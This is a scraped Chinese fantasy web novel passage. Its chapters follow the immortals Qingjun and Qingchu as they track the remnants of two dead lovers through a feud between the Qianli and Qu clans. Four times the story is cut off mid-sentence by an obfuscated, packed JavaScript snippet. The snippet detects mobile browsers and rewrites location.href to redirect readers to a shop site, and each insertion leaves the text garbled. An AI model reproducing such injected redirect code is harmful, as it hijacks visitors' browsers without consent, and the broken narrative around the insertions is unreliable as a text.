九摇脸上的疑惑稍纵即逝,听话的接过青君手里的那一盏酒,像是刚才那样一口灌了下去,被呛了个痛快。 “什么滋味?”青君摇头晃脑的问他。 九摇皱眉,毫不犹豫道,“苦。” “如何的苦?” “和九幽一样的苦。” 听他这样说,青君也给自己倒了一盏,面不改色的喝了下去,最后赞同的点了点头。 (五) 九摇完全醉过去了,直直的躺在了地上,青君起身到他身旁,用脚意思意思踢了他两下,自己也跟着头疼,“别在我这儿睡着啊。” 九摇哼唧两声,翻了一个身。 青君没办法,随意找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990894|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了件破旧的衣服毫不客气的扔在了九摇身上,正打算离开,听见九摇嘴里又在咕哝。 “魂散……不知,其罪。” “什么?”青君蹲下去,把耳朵贴近。 “爱徒九幽,吾心甚苦。”说罢,之后就再没了声儿,睡死过去。 这话倒不像是醉了。 (六) 嘴上明明百般不情愿的青君,去白狐那儿偷偷抹了胭脂,白净净的进去,出来的时候顶着一张大花脸从神域望仙台光明正大的走下了。 守门的看着青君晃晃悠悠的背影,对自己同伴道,“咱到底为什么要放他下去?” “他敢那么丑的下去,咱就放他下去吧。” 守门的觉得这有理,一下子竟然用看傻子的眼神,略带同情的看着青君走下去。 而青君本人对这一点来说,自然是不在意的。其实青君本身就是一位温酒美人,只是平时总是一副吊儿郎当的样子,嘴上从不肯认输,唯独只有和帝君较好,人缘也都还行,但都聊不来罢了。 (七) 鬼界阴气重,青君是实实在在的文官,除了酿酒就只会喝酒,连长剑长什么样子都不怎么见过,更别说安逸半辈子突然来到这鬼界了。 鬼界对于青君来说,和被放逐了无疑,说他娇贵两句,也是不容辩驳,况且他还要在鬼界寻找九幽,这一找,连自己都不知道找了多久,久到自己脸上的妆容都差点变成面具。 他在鬼界游荡的时日,唯一的“收获”大概就是那毒气如毒蛇一样从自己的腿往身体爬,好在他还是有内力将它压下去,却无法铲除,于是这腿疾就此缠上了他。 在他找到九幽的时候,九幽依旧处于无所事事的懵懂状态,看着那张脸,青君自己都差点为自己感动的落泪,他为了别人家的孩子,把自己苦成了这样。 ——你躺在这里作甚? 这是青君把九幽骗去人间的开始。 (八) 这便是此二人的尾处了,九摇来之前明明还特意去见了帝君一面,信誓旦旦的告诉帝君,只要是九幽喜欢,把他那冥灯当蜡烛吹着玩也没问题。 但是仿若还是昨日的事情,明明昨日说的还是师尊是这样的好,那样的好的九幽,怎么今日就成了九摇将军,别来无恙。 九幽是回不去了,这幅身躯再怎样的挣扎都是徒劳了。红莲池底九摇也是不想出去了,呆在这儿所有恩怨汇聚的地方也罢了,就这样呆在九幽身边也罢了。 只是九幽死了便是死了,九摇却还是死不了,他还不知道要这样呆在红莲池底要保持着混乱的沉睡要多久才能够死去,却还要依稀的感受到九幽独自先成为了白骨来折磨自己,看来是,这次也并不打算去游人畔了。 (九) 了事阁中,三千整理着卷宗,关于小鬼王山暝的那一幅卷轴终于停下了任何记录,想要翻阅下去,后面也只是白花花的一张纸了,却还在无限的延长,内容却也都只是一片空白,他把它收起来放入柜子中。 这样的卷轴,只能说是此人自此后停留于此,既再无轮回转世,更再无灵识意志,空有一具白骨还藏在这世间某一处,等到白骨也一并消散后,卷轴也会幻化成灰,这一切存在的证明,可就都烟消云散了。 这样的记录是少见的,上一次是风水师,这一次是山暝。这二人,一个因战乱而死,一个因这场战乱而死。 他再拿出一份卷轴,有关于九摇的记录停留在了一具白骨上,或许要等到这具白骨消散,有关于他的记录才能够继续了,又或者不会再继续,三千还是知道这位将军的。 他将这两份卷轴放在了一起。 18. 诉讼千里,道尽途穷(一) (一) “不好了!青君!青君你在哪儿!不好了!” “青君好着呢!”青雏推着青君不疾不徐从酿酒殿里出来,“这大清早的能把你这尊大仙吹过来能有啥事?” 三千还喘着气,止不住的摆手,却什么也不说,青君让青雏去拿一壶酒来让三千缓缓。 “不……不必,你们这儿就没有清水了吗?” 青君有些不乐意,“我这儿酿酒殿三个字是摆设嘛?算了,青雏,去给三千上仙取一壶清水吧,看你这么急,进去说。” 青雏去取水,三千推着青君进了里屋,把衣袖里的卷轴拿了出来。 “你带这个来干什么,我的吗?”今天三千造访,青君心里也急,他一直都在打听青袂和诛衫的下落,可是三千保持着自己的原则一直不肯告诉自己,今天却破天荒的来了,他隐隐有些不安。 这时青雏取来了水,三千一接过就喝完了。 “青君,今日我要告诉你的这些事,你切莫冲动行事。” “到底是什么你也要说啊。”青君看着他这样也只能干着急。 三千把他带来的卷轴拿出来,打开后平铺在桌上,又从另一个衣袖里拿出来一个,将它并排放在另一个卷轴下,两个卷轴还在不停地记录,显示出文字。 青君预知不妙,三千看他凝重的样子都害怕他下一秒要从轮椅上站起来了。 “这是……”青雏看着卷轴上所记录的事,忍不住插嘴,“这是凡间的一对怨债吗?” “什么怨债!这是你师兄!”青君恨铁不成钢地看着他,青雏这才反应过来。 青君还要仔细地看,三千却把卷轴收了起来。 “三千,你什么意思?” “青君,你听我说,这事你我都不能插手。” “为什么?” “他们都并非青袂和鬼王诛衫。” “那为什么还会出现在他们二人的卷轴上!” 三千叹气,“他们二人跃入红莲池底,很显然是凡人受了这池水的影响,才会再续上他们二人的仇怨。青君,你也知道青袂才是小鬼王,流的是鬼王的血,那池子拿他没有办法,可是诛衫不同,诛衫前身是神,他和青袂在同一池子里,互饮其血,身死魂未灭,这才造下恶果。” 三千说完,青君还是一脸凝重,不久后愁色出现,“你既不要我插手,又为何还要告诉我?” 三千却紧握卷轴什么也不说。 “当初是你说他们在无灵识意志,你是要急死我吗?” “有人在作恶。”三千又一次打开了卷轴,这次他们往前看,看着看着青君突然反应过来,“你了事阁的规矩不是不能看……” 青君话尾还没落,三千白他一眼,“你能不能闭上嘴,不看拉倒。” “诶诶,看看看。”青君按住他的手。 “我们并不是要去刻意窥看,我们这是在寻他们的下落。”三千给自己找补。 “好好好,你要找什么快找给我看。” “你看,这里一行列。” 三千指着那数列的字,青君顺着念了出来,“千里氏一族流亡至鬼地一处,顺饮其红莲池水,受池底鬼神庇佑,孕育新生……授其气运,绵延千里氏一族,恶鬼再生……”青君读时嘴唇颤抖,“咒——”青君皱眉,“咒其双生一子,献身为鬼魄,待……鬼王重生。——三千,这是什么意思,我怎么看不懂了。” 三千沉默,又指向另一幅卷轴一处,“这里。鬼王终归故土,寄身曲氏一族。授其精血养育后人魔身不灭,故仇怨永不消散……” “哪个是我徒弟?” “……你傻啊。”三千扶额,已经是不想面对的模样,“青君,我说话难听。” “我知道,你说吧。” “……其实,他们死了也就……死了,可是他们现在这样,只会……” “什么叫做死了就死了?” “……我和你说了我说话难听。” 一旁的青雏默默听着,突然说,“师兄的魂魄在曲氏一族吗?” 三千差点忘记他的存在,“那不是魂魄,是他们残留在这世上的还未消散的灵力,就如同当初风水师,尽管魂飞魄散,却还有残念在这一世间,直至完全散尽。” “那他们现在在凡间是什么情况?”青君问。 “……” “你又哑巴了?” “他们寄生于凡人之躯,未有消散之意,延绵下去,化作死敌。” 青君此刻又开始恨自己残废的双腿,但是再急也只能无用功的拍打两下,努力克制自己的情绪,“他俩怎么就死敌了?” “那我问你,他们殉情的时候,只是想死在一起吗?” “那他们殉什么?” “在师兄心中,还是有恨的吗?”青雏这句话脱口而出。 与其和青君解释,三千此刻还是更愿意和青雏说话,“他们哪里是明明白白死的。”三千又对青君说,“你也知道,执念越大,余恨越大。他们此刻相爱相杀的厉害呢,我的意思是,代代爱,代代杀。” “……”青君完全瘫在了自己的轮椅上,也算是理解了三千所说的还不如死了就死了。 “不过这其中出现了变故,有人从中介入,似乎想把这二人脱离出来。” “谁?” “我暂时还没有找出这个人,不过我看这人的意图,似乎是帮着青袂那边的。因为他的插手,千里氏一族一直在消极,一副随时都准备灭族的样子。你看这里,出现了一个黑衣人,就是从他开始,他挑唆千里氏族内关系,让他们开始手足相残。” 青君仔细看着,青雏的脑袋也凑了过来。 这个黑衣人不仅成功挑唆了千里氏族内的关系,更是让千里氏甘愿与外界断开了联系,不仅如此,还让千里氏和曲氏的关系得到了缓和,却也成为了帮凶。 曲氏一直帮着千里氏手足互食。 “报应!”青君看着自己的宝贝徒弟竟然变成这样,痛苦的不再去看那些文字记录。 “为什么会这样……”青雏嘴里也不敢相信的喏喏念叨,“三千上仙,他们现在怎么样了?”青雏自知自己比不上青袂,一直以来也无法得到青君的重视,更是讨不了青君的欢心,他心中有不甘,可是他也绝不会让自己的师兄一直这样下去。 “我还在查找这个黑衣人的身份,应该不是天上的人,却一直没在卷轴里找到,更是不知道他的意图到底是什么。” “可我们也不能坐视不管啊!”青雏这下真急了,平日里唯唯诺诺又乖巧的徒弟突然这样大声说话,青君也有些意外,连他也一直以为青雏和青袂的关系淡如水,倒不至于关心到这份程度上。 意识到自己失态的青雏立刻道了歉,青君却什么也没有说。 三千默默的把所有东西都收了起来,“这是这二人的命数,纠缠至此,我们也无法阻止,但是这捣鬼之人我一定会找出来。青君,你先等上一段时间,之前清绝不是有一面镜子可以看见人间的景象吗?你可以去借来看,不过见他可能不太方便就是了……但是我不会容忍你去插足,你当初为了青袂所付出的代价,这双腿还不够你长记性吗?三千告辞。” 三千走了,青君似乎还没有缓过神,终于想起动身,青雏正准备推着他离开时,青君却拒绝了,自己转着滚轮回了房。 (二) 青雏去后花苑给花浇水,现在这里的花被他打理的很好,只是没以前热闹了。 它们一个个都低着头,不再高声说话。 青雏放下水壶,去往青袂曾住过的房间。 这个房间被他打理的很好,不见一丝灰尘,既没有人住过的痕迹,却也没有让人感觉空置很久的错觉,仿若只是房主人爱干净,却又总是不常回来。 他坐在曾经青袂常坐的位置,抚摸桌上依旧存在的刻痕。 莫再强留。 他的师兄做得了世间最痴情的妖怪,也当属最绝情的神仙。 (三) 三千回去后,整日将自己淹没在卷宗之中,却还是没找到一丝线索,他根本连从何找起都不知道,这简直就是一个被遗漏在人间的人,又突然重现于世间。 (四) 青雏下了一个很重大的决定,而这个想法的产生,也只不过是在他三个时辰后下定的决心,他无法眼睁睁看着师兄的残念陷入在这尘世间无止境的纠纷中。 (五) 青君偷偷喝了很多酒,可是无论如何都醉不过去,这是他头一回为自己的选择感到后悔。 (六) 青雏的过去并不复杂,他曾经也是一个凡人,后来被父母的仇家和村里人活活烧死,游走于游人畔时,因为过往干净而被神界捞了上来。 如果问当初的他,还想成为神吗,他的回答可能永远都是愿意,但是问现在的他,他就不会那么想了。神域的日子让他一眼望到头,却又永无止境,他感觉所有神都在等待着什么,唯独只有他,整日里晃荡如鬼魂,身上的阴霾堪比阴间的小鬼。 整个神域除了青君能够接触到青袂,他认为就只有他了。但是他这个师兄看起来总是捉摸不透,古怪可能确实是存在于他身上的,青雏能看出来青袂是在筹谋着什么,可是青雏连和青袂说话的勇气都是慢慢磨砺出来的,又怎么敢去问这些。 (七) 青雏去了天牢,他要去找清绝。 (八) 清绝不能说是放弃了出狱这样的想法,应该说是找到了更适合自己的地方。他发现整日待在这天牢里无所事事,偶尔吹吹牛,见见新面孔,还有云镜可以陪着看看凡间也挺好,不然回到了职位又要被红线缠身,诸多的烦心事伴随他,所以当青雏来天牢找他的云镜一用时,他是不愿意的。 “你今日要是把我这面镜子借走了,我怎么知道你什么时候还我?” 青雏有些窘迫,毕竟他和清绝交集不深,并且也是听闻了清绝为何被关押在天牢的一些“丑闻”。 “望舒仙君……” “打住,别叫我这个名号,叫我清绝就好。” “仙君,我只是想借云镜观凡间景象一眼,看完必定归还。” “如果只是一眼,你现在看便是,你要是拿走了我找谁要?”清绝现在所有的无聊日子主要都靠着云镜打发了,必然不会轻易借出去,更何况他被关着哪儿也去不了。 青雏面皮薄,清绝只是这一下子他就不知该作何回答,清绝看他这样子反倒是觉得好玩起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990895|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你是青君的小徒弟吧,从凡间来的?都已经过去了这么久了,该不会是你生前在凡间有所牵挂,想看看轮回之人吧?” “不是!”青雏实在是不知道该怎么说,耳朵稍红了些,“只是,最近需要酿酒,想要去取一些人间的水源。” “哦……”清绝意味深长的看着他,“那你这算是成仙后第一次下凡吧,这些事情以往都是……”清绝顿了一下,怪异的神色回避了一下,“都是你师兄做吧。” 青雏仔细甄别了一下清绝是否有在套他的话术,最后慎重地点了点头。 “要是只是采水,你根本不需要提前观测,你只需要直接前往人间就好,多逛逛,顺便游历几番,找到了归来就是,不必抱着那么强烈的目的性。”清绝像长辈一样语重心长,最后又擦了擦手里的云镜,青雏看着云镜时眼珠子都快要掉出来了。 没有办法了。青雏心想,他若是找不到合适的理由,看来清绝是绝不会轻易给他的,只能用那一招了。 “仙君。” “你说。” “实不相瞒,青雏想要借一借云镜确实另有所瞒。” “哦?你说。”见他愿意说,清绝的兴致也来了,云镜也不擦了。 青雏深吸一口气。 “仙君有所不知,青雏是从凡人……” “这个我知道,下一个。” “……”青雏揉了揉鼻子,“我想通过云镜寻找一下前世人间的父母怎么样了,如果这次下凡有机会,还想去看一下他们。” 谁料清绝听完后直皱眉,然后抬手不停地算着什么,然后凝重道,“不对吧,照你来天上的这些时日,他们都不止轮回一次了吧,先抛开是人是鬼不说,万一连两条腿的都不是了呢?” 清绝自认为是已经说的很委婉了,青雏却没想要放弃,“仙君,我酿酒的技艺远不及师尊和师兄,所以常醉倒在酒坛边,常忆人间之苦,无法忘却,更是从未报仇,心中残藏着的妄念时不时出来扰乱我的心绪,才使得我无法进步。其实此次下凡,并不是因为亲情上的一些念想,而是我一直残留在心中还无法消释的恨意。仙君,我真的就只看一眼罢了。” 清绝有些动摇了,“真就一眼?” 青雏重重的点了点头。 “好吧,看完马上还给我。”清绝答应了,但是还有些不情不愿的样子,一番心里斗争后,才缓缓将云镜递了出去。 青雏郑重地接过了云镜,清绝却还犹豫着不肯松手,青雏也就耐心的等待着他,二人在轻微地拉扯下,云镜也终于是到了青雏手中。 “谢谢仙君。” “赶紧看吧。” “仙君。” “嗯?” “多有得罪了。” 然后青雏就跑了。拿着云镜头也不回地跑了。 “……你干嘛!臭小子,给我回来!把云镜还给我!!!” (九) 青雏第一次干这种事情,腾云驾雾地跑回了酿酒殿,一回来就又被青君唤了去,赶紧把云镜藏起来。 “师尊。” “你快过来。” 青雏寻着声音找到了青君,发现青君竟然也来了青袂房间,在不久前他所在的位置,同样抚摸桌上的刻字。 “你说你师兄到底是什么意思。”青君仿佛不是在和他说话,又继续说了下去,“你师兄回来时,到底是谁刻下来的……为什么他和为师相处了那么些长的日子,却还要如此决绝?青雏,”青君唤他时,他才反应过来,“你说这是青袂对为师说的,还是他那胆小鬼将军?” 青雏愣了很久之后,却也只能说,“徒儿不知,徒儿好像……并不了解师兄。” “你也努力过了。”青君长叹气,拢过衣袖,“你师兄真是一点儿也不知道疼人,但是有什么办法,他都忘了,全部都忘记了,尽管想起来后,又还剩多少?他恐怕记得最清楚的只有他骗自己的那些事了,感情这种东西,如果你当了神仙后还再去纠结,那就是苦命,是劫。” 青雏认真听着,把云镜藏得很好。 “为师要放弃你师兄了吗?” “为何?”这是下意识问出口的,青雏也没想到的。 “没有为何。”青君却笑起来,“可能就是因为你师兄他不愿。” “可是师尊——” “你师兄的古怪,可不是传言传出来的。”青君闭上眼,找了个舒适的姿势躺在轮椅上,“论让人受苦,你的师兄是最擅长。他可以不惜以自己凡人时的性命做饵,一步一步把九摇引到天上来接他走,最后又要让九摇心甘情愿的陪他跳了。”青君直摇头,“可听了三千所说,他那些残念在人世间纠缠,却此四字相悖。” 此刻的青雏非常害怕自己说错话,但是他必须要向青君确认一件事,“那师兄这算是……坠入——” “好了!”青君看着他,觉得他今天有些怪异,“你师兄的事不必再多谈,这件事既然能发展到这种地步了,那就是你和我都不能阻止的了,你就和以前一样,在天上好好的养花,酿酒,其他的什么事你都不要管。” 青雏死死握住藏起来的云镜,如果真的能通过这面镜子找到青袂,他就一定要去。 “是。师尊。” 19. 诉讼千里,道尽穷途(二) (一) 青雏下凡时,用了他从前在人间的名字——樊竹。 (二) 青雏在人间几度轮回,法力几近殆尽,才终于遇见了千里氏一族 千里氏的家主千里辞被曲氏一族追杀,不死崖一跃,被一樊姓山户所救,曲氏穷追不舍,最后山户一家被杀,留下一个儿子,带着千里辞逃亡,便是樊竹。 (三) 如果想要救他师兄,必须从千里氏入手。他无法改变曲氏身上流的血,那只能阻止鬼王重生。 (四) 樊竹带着千里辞回到竹深一处密林。此地盘旋的两只鸟乃是天地所生,已长生百余年,守在天上地下莲池相接处,是千里氏最好的去所。 千里辞本被曲氏打压着一蹶不振,收了樊竹为家仆,本以为会孤独终老,死前却因因果循环,寻一良妻,留下两个儿子在这人世间。 (五) 樊竹看着千里辞所留遗言不过是莫再强留四字,他意识到自己现在所做的一切都无法改变这个家族的命运,便向现任家主提议,留下双生子,打破诅咒。 樊竹看着被称为恶鬼的孩子在竹林里一天天长大,以为这样的日子可以得以长存,却在某一天,竹林来了一位不速之客。 (六) 曲氏的长女前来拜访竹林,樊竹引她进前堂稍候,没想到却造就了她有了与千里诉见面的机会,一发不可收拾。 “千里公子?” “……” 曲琼追了一路,看着躲在竹子后掩耳盗铃的白衣,跑过去拽住他腰间细绳,让他无法再逃跑。 “……” “没人告诉我千里家的公子是个哑巴呀。”曲琼疑惑地看着他,千里诉却始终低着头不敢瞧她。 曲琼看着他干净的一张脸和红了的耳朵,不再为难他,“你看我一眼,我就放开你。” 千里诉闻言,耳朵不易察觉地动了动,皱着眉,似乎是鼓足了勇气,眉眼倔强,抬头看向曲琼。 曲琼愣住,然后眼含笑意,将细绳一松开,千里诉便逃走了。 (七) 曲琼从不知千里氏还藏有一个千里诉,误将他认为了当时千里氏唯一的公子千里讼,与他结缘。 (八) 曲琼开始频繁出入竹林,与千里讼互生好感。 (九) 樊竹发现千里诉不对时为时已晚。 他发现千里诉开始对着这竹林里唯一的池水发呆,去折这竹林里那唯一一棵桃树的桃枝,去收集羽毛,去逗蝴蝶…… “阿诉?” 樊竹叫他。 千里诉在落花中站起身,以前他从不在意这些花。 樊竹走到他身边,一下子就猜到他在干什么,却还是问他,“你在做什么?” 千里诉不爱说话,看着手里的桃花,这一次却像是在认真思考该如何回答樊竹。 “不知道。”他沉默许久后给出了这样一个答案,转身离开。 自那天起,樊竹怕多生事端,将他关了起来,直至他一如以前。 (十) 曲琼嫁入了千里家,与千里讼一年间皆是夫妻和睦的景象,只可惜好景不长,竹林再大也不可能将一个人完全藏匿起来。 曲琼回曲氏处理家族内务,回来时已过半月。她夜里归来,携疲惫之姿踏入竹林。 这一年,她与千里讼几乎形影不离,这算是他们分开最久的一次了,难得她能一个人逛一逛这片竹林。 竹林阒然,她独身其中,突然想起前夜里下过雨,可为时已晚,踩了一脚的泥泞。 她抬头,看着个个笔直通天的竹,在这踽踽独行中迷路了。 她长时间呆在竹深,这里让人宁静,她鲜少再有烦心之时,所以当她意识到自己迷路时依旧往前走着,认为前方自会有出路。 她不停地抬头看月亮,从中得以一丝慰藉,也确保月亮不会突然消失。当她不知道这是第几次抬头时,再往前看,却突然出现了一道如月皎洁的身影。 曲琼以为是自己眼花,她又抬头看一眼月亮,谁知轻风吹拂,乌云密布,掩去了月亮。 “你是谁?”曲琼带着质问的口吻,“为什么会出现在竹林?” 那人站定在原地,曲琼朝他靠近,他却突然转身逃走。 “站住!” 曲琼追去,眼睛死死盯着前方的一抹白,时不时用手去扶住一棵竹,衣袖扫过竹,在竹林里犹如翩跹一只蝴蝶。 曲琼有些追不上了,衣摆处都是飞扬起来的泥点子,有些想放弃,可又害怕这人会对千里家不利,对千里讼不利。 “你躲什么,有本事出来!”曲琼对着竹林大喊,“你别以为你逃得掉,竹林可不是说来就来,说走就走的。” 樊竹在竹屋里被吵醒,立刻动身。 曲琼看着依旧寂静的竹林,听见身后响动,她想也没想的转身,抬脚向身后踢去。 “阿讼?!” 千里诉抬手用手肘及时挡住了她这一脚,那本来素白的衣裳上突然多了这样一抹泥垢,让他整个人都有了瑕疵,更像天上月了。 曲琼放下腿,还是有些状况外,“你是知道我回来了,来找我的吗?” 樊竹赶来,为时已晚。 千里诉袖口里飞出一只蝴蝶,曲琼没有在意,直到千里诉从向她递来了桃枝。 千里讼向来呆板,从未有过如此浪漫之举。 “给我的吗?你今夜怎么了,怎么不说话?”曲琼接过桃枝,桃花香袭面而来,对方却没撒手。 曲琼面色沉着,以为是因为他们分开太久,千里讼与她使性子。如果真是这样的,她倒也乐意看见千里讼这一面。 “夫人。”樊竹打破了他们之间的僵局。 千里诉和曲琼同时看向他。 “夫人终于回来了。夫人不在的这些日子,家主一直等着夫人,思念成疾才会这样。” 曲琼闻言,看着千里诉泛红的耳朵,却是出乎预料道,“是吗?那我们回去吧。” 曲琼正要走,桃枝另一头的人却站着不动。 “怎么了,阿讼?” 樊竹紧张地看着,上前按住千里诉的手,“家主近来有夜游之症,此时恐怕尚在梦中,强行唤醒恐有不妥。” 千里诉抬眼,与曲琼对视。 下一秒,曲琼突然用力一拽,硬是从千里诉手中抢过桃枝,桃枝上的露水悉数抖落下来,几处花瓣也跟着掉落。 “你带阿讼回去吧,我有些累。” 樊竹连忙点头,看着曲琼离去,天也要亮了。 (十一) 樊竹又要将千里诉关起来,这一次却有了反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千里诉时不时会学着樊竹的模样去逗千里习,让樊竹心中动容,却从来不敢将孩子单独交到千里诉怀中。 某天,曲琼突发奇想想要去抱一抱千里习,于是寻到了竹林里。 午后的竹林依旧留有阴寒之息,这是曲琼生完孩子后第一次出房间,她先是去找了千里讼,在千里樟身边呆了一会儿,找借口离开后就想要见千里习一面。 她还从未正眼去瞧过自己的孩子,此时却脚下迫切。 千里诉坐在竹屋外,樊竹在屋里编绳,视野刚好能够看见摇篮里千里习已经睡下。千里诉独自坐在一旁,算不上无聊,倒是有了一种期盼,期盼千里习醒来后他又可以去逗逗他。 曲琼停下脚步,一双眼死死盯着千里诉。 在这一刻,所有的生长和埋葬都从土里往上窜,所有的阳光与雨水挥洒下来,那不可磨灭的意志永垂不朽,给出了曲琼一个想要的答案。 千里诉感知到了一束热烈注目,已经有两年没再见过曲琼,这一面让他们直接走向了毁灭。 曲琼逃走了,怀揣胸腔中振荡无比的心跳声,跌跌撞撞跑出了竹林。 20. 诉讼千里,道尽穷途(三) (一) 曲琼开始对孩子上心,经常到竹屋里去找千里习,樊竹怕她过于频繁地到来会发现千里诉,暂时离开了竹屋,让曲琼试着自己带着孩子。 曲琼带孩子的方式很笨拙。她很不适应与一个刚学会说话的孩子交流,更别说还只会咿咿呀呀的千里樟,很多时间只是沉默的看着千里习,沉默的听着千里樟哭。 千里讼却乐享其中,总是一脸笑意的看着他们,只有樊竹一脸苦大仇深,被哭声吵得不行。 (二) 曲琼学会自己带孩子后樊竹倒是轻松了很长一段时间,不过他发现快两岁的千里樟还没学会走路不开口说话时,赶紧对曲琼带孩子的方式及时止损,于是他又忙起来了。 千里习很懂事,每次樊竹忙得无暇顾及时他就会乖乖守在弟弟身边,然后鼓励千里樟学会翻身,可在让千里樟开口说话这件事上,他和千里讼都下了很大功夫,也就是这段时间里,曲琼已经和千里诉建立了密切的来往。 (三) 千里诉将自己藏身在竹林密集处,曲琼在外不动声色地看着他。 他们之间的交流不需要千里诉回应,就只是需要安静地看着曲琼,曲琼便觉得安心无比。有时千里诉会突发奇想的送她一些东西,不过也都只是一些五彩斑斓的石头和桃枝,每次带来时,曲琼就会提醒他不要被樊竹发现。 曲琼这会儿也不过十九二十的芳龄,早早嫁给了呆板的千里讼后,又在千里诉这里情窦初开。 “你在这竹林里多久了?” “……” “你不愿说话吗?我第一次来竹林时,见到的人是你,不是阿讼。” “……” “不会说话也没关系,这样安静的呆着也挺好。”虽然这样说着,曲琼神情却有些落寞,“阿讼有时也是这样,什么都不说,不过他会对着我傻笑。” 闻言,千里诉抬头,唇齿欲动,却还是没说出一个字。 “枕歌到现在还没学会说话和走路,我也不知道为什么,我不知道该和那孩子说什么,也不知道需要和孩子说什么,难道要说……‘你好呀,我是你的阿娘’,‘宝宝,我是娘亲’……”曲琼捏着嗓子说了一番后,眉头依旧没有舒展开,“……我觉得很奇怪,难道他们真就一下子相信了眼前他们从未见过的人就是他们的娘亲吗?” 千里诉也被她左一言右一语搞得懵懂,曲琼本来还很苦恼,一见他这样子,忍不住笑起来,“枕歌有时候就这样看着我。” 看着眼前的曲琼笑得摔倒在地上,千里诉也没有去扶她,曲琼也没恼,自己站起来拍着裙摆,突然安静下来,千里诉一直盯着曲琼裙角没有拍下来的那一处泥泞。 “不过邶歌不这样,邶歌好像很聪明,眼睛圆溜溜地总是看着我,倒像是在确认,‘呀,眼前的这个女子真的是我的娘亲!’。” 曲琼又表演起来,这样的姿态她只在与千里讼初相遇时会有,不过千里讼总是拘泥地看着她,并且问她为什么总要这样,让她觉得很没意思,可是不知道为什么,到了千里诉这儿,尽管他不说话,她也觉得很高兴很安心。 “你和阿讼长得真的好像……”曲琼认真打量起他的脸,忍不住靠近,两只手抓住竹子,从缝隙中去看千里诉,“你为什么要一直呆在这里?不曾觉得这里烦闷吗?” 千里诉低下头,对她这番话认真思考,依旧被她裙角的那一处泥泞吸引,突然,他从竹后走出来,站在曲琼面前。 “怎么了?” 千里诉在她面前蹲下,曲琼下意识的躲开想要看看地上有什么,却见千里诉的手轻轻拍着她裙角的脏处,曲琼看着他弯下身子,突然呼吸急促,鼓起勇气问他,“要不要和我一起逃走?” 逃走这个词用在竹林很贴切,这样烦闷而巨大的牢笼无法在天底下再找出第二个。 千里诉抬头看她,曲琼将手放在他额头,这一次用了更加坚定的语气,“我们私奔。” (四) 曲琼行动力惊人,她抓住千里诉的手,趁着月色,离开了竹林。 (五) 竹林里顿时翻了天,曲琼带着千里诉一时间离不开竹深,却又因为没有人知道千里诉的存在,千里诉又和千里讼长得何其相似,每每被人发现时曲琼就让千里诉装作千里讼,他们就这样懵懵懂懂出了竹深。 樊竹用云镜找到他们时,他们已经抵达陌上,樊竹却在这一刻动用私心,没有告诉千里讼,他们去了陌上,只是告诉了他,千里诉是和曲琼一起出逃的。 “阿诉也不见了?!”千里讼过于激动,怀中的千里樟直哭,千里讼来不及哄,千里习便在一旁直跺脚担忧,却也不知道发生了什么父亲这样生气。 樊竹咬牙,“阿诉和夫人应该见过几面,不过时间久远,本以为已经淡忘,这段时间就没有过多盯梢。” 千里讼眉头紧锁,却有些不知所措,不知道下一步该怎么办,只好先哄哄千里樟。 “家主,我来吧。”樊竹伸手接过千里樟,千里讼依旧是一副烦躁模样。 “他们会去哪里?回曲家吗?阿琼她,她会带着阿诉,回曲家吗?”千里讼有些语无伦次,似乎是自己也不敢相信曲琼会带着那一张和自己如此相似的脸回曲家。 樊竹汗颜,却是不敢回应,不过千里讼立刻给曲家书信一封,告知了情况。 (六) 在曲冥收到的书信中,千里讼只字未提自己的兄长,只是告知曲氏,曲琼出逃一事,并且为其找了原由,恐怕是觉得竹林烦闷而出去游玩,如果是回了曲家,想要确认曲琼的安全。 (七) 曲琼卖了身上所有的细软,和千里诉安家在陌上地界。她长这样大,别的地方也没有去过,只好回到这里。 虽然在千里家时她就从未被规矩束缚,但是和千里诉私奔后,依旧给曲琼带来了摆脱桎梏的刺激感。 她很讨厌孩子哭闹的声音,现在也终于听不见了。 (八) 千里诉不懂人情世故,对男女情爱也是一知半解。曲琼以为他们的第一难题会是银钱,没想到是邻里的闲言碎语。 养蛇女十九丧夫,孩子胎死腹中。曲琼和千里诉一定居万慈村,居住在了她旁边的屋舍,蛇女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他希望等曲琼厌烦千里诉后回到竹林,可这也是他的痴想。师兄的残魂在千里诉身上,将军的残魂在曲琼身上,他们都不会回来了。 “家主,少年夫妻之间,感情还需磨合。你们太早了解彼此,婚姻是世家早已搭建好的桥梁,这其中既没有供你们可走的远路,也无需经历太多苦难,太顺的事,是会遭反噬的。” 千里讼看向千里习开始沉思。 